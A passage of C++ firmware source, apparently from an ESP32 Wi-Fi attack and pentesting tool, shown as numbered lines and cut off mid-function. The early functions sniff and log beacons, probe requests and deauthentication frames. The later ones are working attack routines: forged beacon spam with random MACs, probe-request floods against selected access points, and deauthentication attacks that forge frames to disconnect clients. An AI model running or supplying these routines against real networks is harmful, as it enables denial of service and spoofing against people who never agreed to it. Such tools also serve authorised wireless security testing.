  1314. else
  1315. Serial.print(" ");
  1316. }
  1317. access_points->add(ap);
  1318. Serial.print(access_points->size());
  1319. Serial.println();
  1320. if (save_packet)
  1321. sd_obj.addPacket(snifferPacket->payload, len);
  1322. }
  1323. }
  1324. }
  1325. }
  1326. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1327. {
  1328. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1329. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1330. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1331. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1332. int len = snifferPacket->rx_ctrl.sig_len;
  1333. String display_string = "";
  1334. String essid = "";
  1335. String bssid = "";
  1336. if (type == WIFI_PKT_MGMT)
  1337. {
  1338. len -= 4;
  1339. int fctl = ntohs(frameControl->fctl);
  1340. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1341. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1342. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1343. #ifdef HAS_SCREEN
  1344. int buf = display_obj.display_buffer->size();
  1345. #else
  1346. int buf = 0;
  1347. #endif
  1348. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1349. {
  1350. char addr[] = "00:00:00:00:00:00";
  1351. getMAC(addr, snifferPacket->payload, 10);
  1352. bool in_list = false;
  1353. bool mac_match = true;
  1354. for (int i = 0; i < access_points->size(); i++) {
  1355. mac_match = true;
  1356. //Serial.print("Checking ");
  1357. //Serial.print(addr);
  1358. //Serial.println(" against " + (String)access_points->get(i).essid);
  1359. for (int x = 0; x < 6; x++) {
  1360. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1361. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1362. mac_match = false;
  1363. //Serial.println("MACs do not match");
  1364. break;
  1365. }
  1366. }
  1367. if (mac_match) {
  1368. in_list = true;
  1369. break;
  1370. }
  1371. }
  1372. if (!in_list) {
  1373. delay(random(0, 10));
  1374. Serial.print("RSSI: ");
  1375. Serial.print(snifferPacket->rx_ctrl.rssi);
  1376. Serial.print(" Ch: ");
  1377. Serial.print(snifferPacket->rx_ctrl.channel);
  1378. Serial.print(" BSSID: ");
  1379. Serial.print(addr);
  1380. display_string.concat(addr);
  1381. Serial.print(" ESSID: ");
  1382. display_string.concat(" -> ");
  1383. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1384. {
  1385. Serial.print((char)snifferPacket->payload[i + 38]);
  1386. display_string.concat((char)snifferPacket->payload[i + 38]);
  1387. essid.concat((char)snifferPacket->payload[i + 38]);
  1388. }
  1389. bssid.concat(addr);
  1390. int temp_len = display_string.length();
  1391. for (int i = 0; i < 40 - temp_len; i++)
  1392. {
  1393. display_string.concat(" ");
  1394. }
  1395. Serial.print(" ");
  1396. #ifdef HAS_SCREEN
  1397. if (display_obj.display_buffer->size() == 0)
  1398. {
  1399. display_obj.loading = true;
  1400. display_obj.display_buffer->add(display_string);
  1401. display_obj.loading = false;
  1402. }
  1403. #endif
  1404. if (essid == "") {
  1405. essid = bssid;
  1406. Serial.print(essid + " ");
  1407. }
  1408. AccessPoint ap = {essid,
  1409. snifferPacket->rx_ctrl.channel,
  1410. {snifferPacket->payload[10],
  1411. snifferPacket->payload[11],
  1412. snifferPacket->payload[12],
  1413. snifferPacket->payload[13],
  1414. snifferPacket->payload[14],
  1415. snifferPacket->payload[15]},
  1416. false,
  1417. NULL};
  1418. access_points->add(ap);
  1419. Serial.print(access_points->size());
  1420. Serial.println();
  1421. if (save_packet)
  1422. sd_obj.addPacket(snifferPacket->payload, len);
  1423. }
  1424. }
  1425. }
  1426. }
  1427. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1428. {
  1429. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1430. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1431. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1432. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1433. int len = snifferPacket->rx_ctrl.sig_len;
  1434. String display_string = "";
  1435. if (type == WIFI_PKT_MGMT)
  1436. {
  1437. len -= 4;
  1438. int fctl = ntohs(frameControl->fctl);
  1439. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1440. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1441. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1442. #ifdef HAS_SCREEN
  1443. int buf = display_obj.display_buffer->size();
  1444. #else
  1445. int buf = 0;
  1446. #endif
  1447. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1448. {
  1449. delay(random(0, 10));
  1450. Serial.print("RSSI: ");
  1451. Serial.print(snifferPacket->rx_ctrl.rssi);
  1452. Serial.print(" Ch: ");
  1453. Serial.print(snifferPacket->rx_ctrl.channel);
  1454. Serial.print(" BSSID: ");
  1455. char addr[] = "00:00:00:00:00:00";
  1456. getMAC(addr, snifferPacket->payload, 10);
  1457. Serial.print(addr);
  1458. display_string.concat(addr);
  1459. Serial.print(" ESSID: ");
  1460. display_string.concat(" -> ");
  1461. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1462. {
  1463. Serial.print((char)snifferPacket->payload[i + 38]);
  1464. display_string.concat((char)snifferPacket->payload[i + 38]);
  1465. }
  1466. int temp_len = display_string.length();
  1467. #ifdef HAS_SCREEN
  1468. for (int i = 0; i < 40 - temp_len; i++)
  1469. {
  1470. display_string.concat(" ");
  1471. }
  1472. Serial.print(" ");
  1473. if (display_obj.display_buffer->size() == 0)
  1474. {
  1475. display_obj.loading = true;
  1476. display_obj.display_buffer->add(display_string);
  1477. display_obj.loading = false;
  1478. }
  1479. #endif
  1480. Serial.println();
  1481. if (save_packet)
  1482. sd_obj.addPacket(snifferPacket->payload, len);
  1483. }
  1484. }
  1485. }
  1486. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1487. {
  1488. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1489. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1490. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1491. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1492. int len = snifferPacket->rx_ctrl.sig_len;
  1493. String display_string = "";
  1494. if (type == WIFI_PKT_MGMT)
  1495. {
  1496. len -= 4;
  1497. int fctl = ntohs(frameControl->fctl);
  1498. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1499. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1500. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1501. #ifdef HAS_SCREEN
  1502. int buf = display_obj.display_buffer->size();
  1503. #else
  1504. int buf = 0;
  1505. #endif
  1506. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1507. {
  1508. delay(random(0, 10));
  1509. Serial.print("RSSI: ");
  1510. Serial.print(snifferPacket->rx_ctrl.rssi);
  1511. Serial.print(" Ch: ");
  1512. Serial.print(snifferPacket->rx_ctrl.channel);
  1513. Serial.print(" BSSID: ");
  1514. char addr[] = "00:00:00:00:00:00";
  1515. getMAC(addr, snifferPacket->payload, 10);
  1516. Serial.print(addr);
  1517. display_string.concat(text_table4[0]);
  1518. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1519. display_string.concat(" ");
  1520. display_string.concat(addr);
  1521. #ifdef HAS_SCREEN
  1522. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1523. {
  1524. display_string.concat(" ");
  1525. }
  1526. Serial.print(" ");
  1527. if (display_obj.display_buffer->size() == 0)
  1528. {
  1529. display_obj.loading = true;
  1530. display_obj.display_buffer->add(display_string);
  1531. display_obj.loading = false;
  1532. }
  1533. #endif
  1534. Serial.println();
  1535. if (save_packet)
  1536. sd_obj.addPacket(snifferPacket->payload, len);
  1537. }
  1538. }
  1539. }
  1540. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1541. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1542. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1543. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1544. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1545. int len = snifferPacket->rx_ctrl.sig_len;
  1546. String display_string = "";
  1547. if (type == WIFI_PKT_MGMT)
  1548. {
  1549. len -= 4;
  1550. int fctl = ntohs(frameControl->fctl);
  1551. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1552. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1553. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1554. #ifdef HAS_SCREEN
  1555. int buf = display_obj.display_buffer->size();
  1556. #else
  1557. int buf = 0;
  1558. #endif
  1559. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1560. {
  1561. delay(random(0, 10));
  1562. Serial.print("RSSI: ");
  1563. Serial.print(snifferPacket->rx_ctrl.rssi);
  1564. Serial.print(" Ch: ");
  1565. Serial.print(snifferPacket->rx_ctrl.channel);
  1566. Serial.print(" Client: ");
  1567. char addr[] = "00:00:00:00:00:00";
  1568. getMAC(addr, snifferPacket->payload, 10);
  1569. Serial.print(addr);
  1570. display_string.concat(addr);
  1571. Serial.print(" Requesting: ");
  1572. display_string.concat(" -> ");
  1573. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1574. {
  1575. Serial.print((char)snifferPacket->payload[26 + i]);
  1576. display_string.concat((char)snifferPacket->payload[26 + i]);
  1577. }
  1578. // Print spaces because of the rotating lines of the hardware scroll.
  1579. // The same characters print from previous lines so I just overwrite them
  1580. // with spaces.
  1581. #ifdef HAS_SCREEN
  1582. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1583. {
  1584. display_string.concat(" ");
  1585. }
  1586. if (display_obj.display_buffer->size() == 0)
  1587. {
  1588. //while (display_obj.printing)
  1589. // delay(1);
  1590. display_obj.loading = true;
  1591. display_obj.display_buffer->add(display_string);
  1592. display_obj.loading = false;
  1593. }
  1594. #endif
  1595. Serial.println();
  1596. if (save_packet)
  1597. sd_obj.addPacket(snifferPacket->payload, len);
  1598. }
  1599. }
  1600. }
  1601. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1602. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1603. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1604. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1605. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1606. int len = snifferPacket->rx_ctrl.sig_len;
  1607. String display_string = "";
  1608. String essid = "";
  1609. bool found = false;
  1610. if (type == WIFI_PKT_MGMT)
  1611. {
  1612. len -= 4;
  1613. int fctl = ntohs(frameControl->fctl);
  1614. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1615. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1616. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1617. #ifdef HAS_SCREEN
  1618. int buf = display_obj.display_buffer->size();
  1619. #else
  1620. int buf = 0;
  1621. #endif
  1622. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1623. {
  1624. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1625. {
  1626. essid.concat((char)snifferPacket->payload[26 + i]);
  1627. }
  1628. for (int i = 0; i < ssids->size(); i++) {
  1629. if (ssids->get(i).essid == essid) {
  1630. Serial.println("Found a sheep");
  1631. found = true;
  1632. break;
  1633. }
  1634. }
  1635. if (!found)
  1636. return;
  1637. delay(random(0, 10));
  1638. Serial.print("RSSI: ");
  1639. Serial.print(snifferPacket->rx_ctrl.rssi);
  1640. Serial.print(" Ch: ");
  1641. Serial.print(snifferPacket->rx_ctrl.channel);
  1642. Serial.print(" Client: ");
  1643. char addr[] = "00:00:00:00:00:00";
  1644. getMAC(addr, snifferPacket->payload, 10);
  1645. Serial.print(addr);
  1646. display_string.concat(addr);
  1647. Serial.print(" Requesting: ");
  1648. display_string.concat(" -> ");
  1649. // ESSID
  1650. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1651. {
  1652. Serial.print((char)snifferPacket->payload[26 + i]);
  1653. display_string.concat((char)snifferPacket->payload[26 + i]);
  1654. }
  1655. // Print spaces because of the rotating lines of the hardware scroll.
  1656. // The same characters print from previous lines so I just overwrite them
  1657. // with spaces.
  1658. #ifdef HAS_SCREEN
  1659. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1660. {
  1661. display_string.concat(" ");
  1662. }
  1663. if (display_obj.display_buffer->size() == 0)
  1664. {
  1665. display_obj.loading = true;
  1666. display_obj.display_buffer->add(display_string);
  1667. display_obj.loading = false;
  1668. }
  1669. #endif
  1670. Serial.println();
  1671. if (save_packet)
  1672. sd_obj.addPacket(snifferPacket->payload, len);
  1673. }
  1674. }
  1675. }
  1676. /*
  1677. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1678. set_channel = random(1,12);
  1679. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1680. delay(1);
  1681. // Randomize SRC MAC
  1682. packet[10] = packet[16] = custom_ssid.bssid[0];
  1683. packet[11] = packet[17] = custom_ssid.bssid[1];
  1684. packet[12] = packet[18] = custom_ssid.bssid[2];
  1685. packet[13] = packet[19] = custom_ssid.bssid[3];
  1686. packet[14] = packet[20] = custom_ssid.bssid[4];
  1687. packet[15] = packet[21] = custom_ssid.bssid[5];
  1688. char ESSID[custom_ssid.essid.length() + 1] = {};
  1689. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1690. }*/
  1691. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1692. set_channel = random(1,12);
  1693. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1694. delay(1);
  1695. if (custom_ssid.beacon->size() == 0)
  1696. return;
  1697. // Randomize SRC MAC
  1698. // Randomize SRC MAC
  1699. packet[10] = packet[16] = random(256);
  1700. packet[11] = packet[17] = random(256);
  1701. packet[12] = packet[18] = random(256);
  1702. packet[13] = packet[19] = random(256);
  1703. packet[14] = packet[20] = random(256);
  1704. packet[15] = packet[21] = random(256);
  1705. char ESSID[custom_ssid.essid.length() + 1] = {};
  1706. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1707. int realLen = strlen(ESSID);
  1708. int ssidLen = random(realLen, 33);
  1709. int numSpace = ssidLen - realLen;
  1710. //int rand_len = sizeof(rand_reg);
  1711. int fullLen = ssidLen;
  1712. packet[37] = fullLen;
  1713. // Insert my tag
  1714. for(int i = 0; i < realLen; i++)
  1715. packet[38 + i] = ESSID[i];
  1716. for(int i = 0; i < numSpace; i++)
  1717. packet[38 + realLen + i] = 0x20;
  1718. /////////////////////////////
  1719. packet[50 + fullLen] = set_channel;
  1720. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1721. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1722. // Add everything that goes after the SSID
  1723. //for(int i = 0; i < 12; i++)
  1724. // packet[38 + fullLen + i] = postSSID[i];
  1725. packet[34] = custom_ssid.beacon->get(0);
  1726. packet[35] = custom_ssid.beacon->get(1);
  1727. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1728. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1729. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1730. packets_sent = packets_sent + 3;
  1731. }
  1732. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1733. set_channel = random(1,12);
  1734. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1735. delay(1);
  1736. // Randomize SRC MAC
  1737. packet[10] = packet[16] = custom_ssid.bssid[0];
  1738. packet[11] = packet[17] = custom_ssid.bssid[1];
  1739. packet[12] = packet[18] = custom_ssid.bssid[2];
  1740. packet[13] = packet[19] = custom_ssid.bssid[3];
  1741. packet[14] = packet[20] = custom_ssid.bssid[4];
  1742. packet[15] = packet[21] = custom_ssid.bssid[5];
  1743. char ESSID[custom_ssid.essid.length() + 1] = {};
  1744. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1745. int ssidLen = strlen(ESSID);
  1746. //int rand_len = sizeof(rand_reg);
  1747. int fullLen = ssidLen;
  1748. packet[37] = fullLen;
  1749. // Insert my tag
  1750. for(int i = 0; i < ssidLen; i++)
  1751. packet[38 + i] = ESSID[i];
  1752. /////////////////////////////
  1753. packet[50 + fullLen] = set_channel;
  1754. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1755. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1756. // Add everything that goes after the SSID
  1757. for(int i = 0; i < 12; i++)
  1758. packet[38 + fullLen + i] = postSSID[i];
  1759. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1760. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1761. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1762. packets_sent = packets_sent + 3;
  1763. }
  1764. // Function to send beacons with random ESSID length
  1765. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1766. set_channel = random(1,12);
  1767. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1768. delay(1);
  1769. // Randomize SRC MAC
  1770. packet[10] = packet[16] = random(256);
  1771. packet[11] = packet[17] = random(256);
  1772. packet[12] = packet[18] = random(256);
  1773. packet[13] = packet[19] = random(256);
  1774. packet[14] = packet[20] = random(256);
  1775. packet[15] = packet[21] = random(256);
  1776. int ssidLen = strlen(ESSID);
  1777. //int rand_len = sizeof(rand_reg);
  1778. int fullLen = ssidLen;
  1779. packet[37] = fullLen;
  1780. // Insert my tag
  1781. for(int i = 0; i < ssidLen; i++)
  1782. packet[38 + i] = ESSID[i];
  1783. /////////////////////////////
  1784. packet[50 + fullLen] = set_channel;
  1785. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1786. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1787. // Add everything that goes after the SSID
  1788. for(int i = 0; i < 12; i++)
  1789. packet[38 + fullLen + i] = postSSID[i];
  1790. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1791. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1792. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1793. packets_sent = packets_sent + 3;
  1794. }
  1795. // Function for sending crafted beacon frames
  1796. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1797. set_channel = random(1,12);
  1798. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1799. delay(1);
  1800. // Randomize SRC MAC
  1801. packet[10] = packet[16] = random(256);
  1802. packet[11] = packet[17] = random(256);
  1803. packet[12] = packet[18] = random(256);
  1804. packet[13] = packet[19] = random(256);
  1805. packet[14] = packet[20] = random(256);
  1806. packet[15] = packet[21] = random(256);
  1807. packet[37] = 6;
  1808. // Randomize SSID (Fixed size 6. Lazy right?)
  1809. packet[38] = alfa[random(65)];
  1810. packet[39] = alfa[random(65)];
  1811. packet[40] = alfa[random(65)];
  1812. packet[41] = alfa[random(65)];
  1813. packet[42] = alfa[random(65)];
  1814. packet[43] = alfa[random(65)];
  1815. packet[56] = set_channel;
  1816. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1817. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1818. // Add everything that goes after the SSID
  1819. for(int i = 0; i < 12; i++)
  1820. packet[38 + 6 + i] = postSSID[i];
  1821. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1822. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1823. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1824. packets_sent = packets_sent + 3;
  1825. }
  1826. // Function to send probe flood to all "active" access points
  1827. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1828. // Itterate through all access points in list
  1829. for (int i = 0; i < access_points->size(); i++) {
  1830. // Check if active
  1831. if (access_points->get(i).selected) {
  1832. this->set_channel = access_points->get(i).channel;
  1833. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1834. delay(1);
  1835. // Build packet
  1836. // Randomize SRC MAC
  1837. prob_req_packet[10] = random(256);
  1838. prob_req_packet[11] = random(256);
  1839. prob_req_packet[12] = random(256);
  1840. prob_req_packet[13] = random(256);
  1841. prob_req_packet[14] = random(256);
  1842. prob_req_packet[15] = random(256);
  1843. // Set SSID length
  1844. int ssidLen = access_points->get(i).essid.length();
  1845. //int rand_len = sizeof(rand_reg);
  1846. int fullLen = ssidLen;
  1847. prob_req_packet[25] = fullLen;
  1848. // Insert ESSID
  1849. char buf[access_points->get(i).essid.length() + 1] = {};
  1850. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1851. for(int i = 0; i < ssidLen; i++)
  1852. prob_req_packet[26 + i] = buf[i];
  1853. /*
  1854. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1855. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1856. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1857. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1858. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1859. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1860. 0x00, 0x00
  1861. */
  1862. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1863. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1864. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1865. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1866. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1867. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1868. 0x00, 0x00, 0x00, 0x00};
  1869. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1870. for (int i = 0; i < 26 + fullLen; i++)
  1871. good_probe_req_packet[i] = prob_req_packet[i];
  1872. for(int i = 0; i < 40; i++)
  1873. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1874. // Send packet
  1875. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1876. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1877. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1878. packets_sent = packets_sent + 3;
  1879. }
  1880. }
  1881. }
  1882. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1883. // Itterate through all access points in list
  1884. // Check if active
  1885. WiFiScan::set_channel = channel;
  1886. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1887. delay(1);
  1888. // Build packet
  1889. deauth_frame_default[10] = bssid[0];
  1890. deauth_frame_default[11] = bssid[1];
  1891. deauth_frame_default[12] = bssid[2];
  1892. deauth_frame_default[13] = bssid[3];
  1893. deauth_frame_default[14] = bssid[4];
  1894. deauth_frame_default[15] = bssid[5];
  1895. deauth_frame_default[16] = bssid[0];
  1896. deauth_frame_default[17] = bssid[1];
  1897. deauth_frame_default[18] = bssid[2];
  1898. deauth_frame_default[19] = bssid[3];
  1899. deauth_frame_default[20] = bssid[4];
  1900. deauth_frame_default[21] = bssid[5];
  1901. // Send packet
  1902. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1903. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1904. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1905. packets_sent = packets_sent + 3;
  1906. }
  1907. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1908. // Itterate through all access points in list
  1909. for (int i = 0; i < access_points->size(); i++) {
  1910. // Check if active
  1911. if (access_points->get(i).selected) {
  1912. this->set_channel = access_points->get(i).channel;
  1913. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1914. delay(1);
  1915. // Build packet
  1916. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1917. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1918. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1919. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1920. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1921. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1922. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1923. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1924. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1925. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1926. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1927. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1928. // Send packet
  1929. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1930. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1931. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1932. packets_sent = packets_sent + 3;
  1933. }
  1934. }
  1935. }
  1936. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1937. {
  1938. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1939. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1940. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1941. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1942. int len = snifferPacket->rx_ctrl.sig_len;
  1943. String display_string = "";
  1944. #ifdef HAS_SCREEN
  1945. int buff = display_obj.display_buffer->size();
  1946. #else
  1947. int buff = 0;
  1948. #endif
  1949. if (type == WIFI_PKT_MGMT)
  1950. {
  1951. len -= 4;
  1952. int fctl = ntohs(frameControl->fctl);
  1953. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1954. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1955. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1956. #ifndef MARAUDER_MINI
  1957. if (snifferPacket->payload[0] == 0x80)
  1958. {
  1959. num_beacon++;
  1960. }
  1961. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1962. {
  1963. num_deauth++;
  1964. }
  1965. else if (snifferPacket->payload[0] == 0x40)
  1966. {
  1967. num_probe++;
  1968. }
  1969. #endif
  1970. char addr[] = "00:00:00:00:00:00";
  1971. getMAC(addr, snifferPacket->payload, 10);
  1972. display_string.concat(addr);
  1973. int temp_len = display_string.length();
  1974. #ifdef HAS_SCREEN
  1975. for (int i = 0; i < 40 - temp_len; i++)
  1976. {
  1977. display_string.concat(" ");
  1978. }
  1979. //Serial.print(" ");
  1980. #ifdef MARAUDER_MINI
  1981. if (display_obj.display_buffer->size() == 0)
  1982. {
  1983. display_obj.loading = true;
  1984. display_obj.display_buffer->add(display_string);
  1985. display_obj.loading = false;
  1986. }
  1987. #endif
  1988. #endif
  1989. if (save_packet)
  1990. sd_obj.addPacket(snifferPacket->payload, len);
  1991. }
  1992. }
  1993. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1994. {
  1995. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1996. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1997. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1998. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
